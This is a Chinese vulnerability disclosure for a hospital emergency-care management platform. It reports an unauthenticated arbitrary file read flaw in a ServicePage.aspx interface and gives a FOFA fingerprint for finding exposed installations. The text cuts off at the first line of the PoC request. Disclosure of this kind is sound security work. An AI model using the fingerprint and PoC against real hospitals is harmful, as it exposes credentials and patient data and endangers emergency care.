0x01 产品简介

互慧急诊急救快速联动平台，是用于管理门诊急诊病人的系统，主要包括门诊急诊业务和急诊物资管理两部分，其中门诊急诊业务主要包括院前急救、院内抢救、留观监护、绿色通道、预检分诊等；急诊物资管理包括急诊药品管理、急诊设备管理、抢救车管理、急救箱管理、急诊物资使用操作等与患者抢救相关的物资物品，目的在于通过门急诊管理系统缩短抢救患者流程，规范抢救措施，确保急诊物资使用安全，从而最终达到提高抢救成功率，确保患者的生命安全。

0x02 漏洞概述

互慧-急诊综合管理平台 ServicePage.aspx 接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

0x03 复现环境

FOFA：

body="/emis_lib/js/ThreeExtras.js"

0x04 漏洞复现

PoC

GET /dcwriter/thirdpart/Servic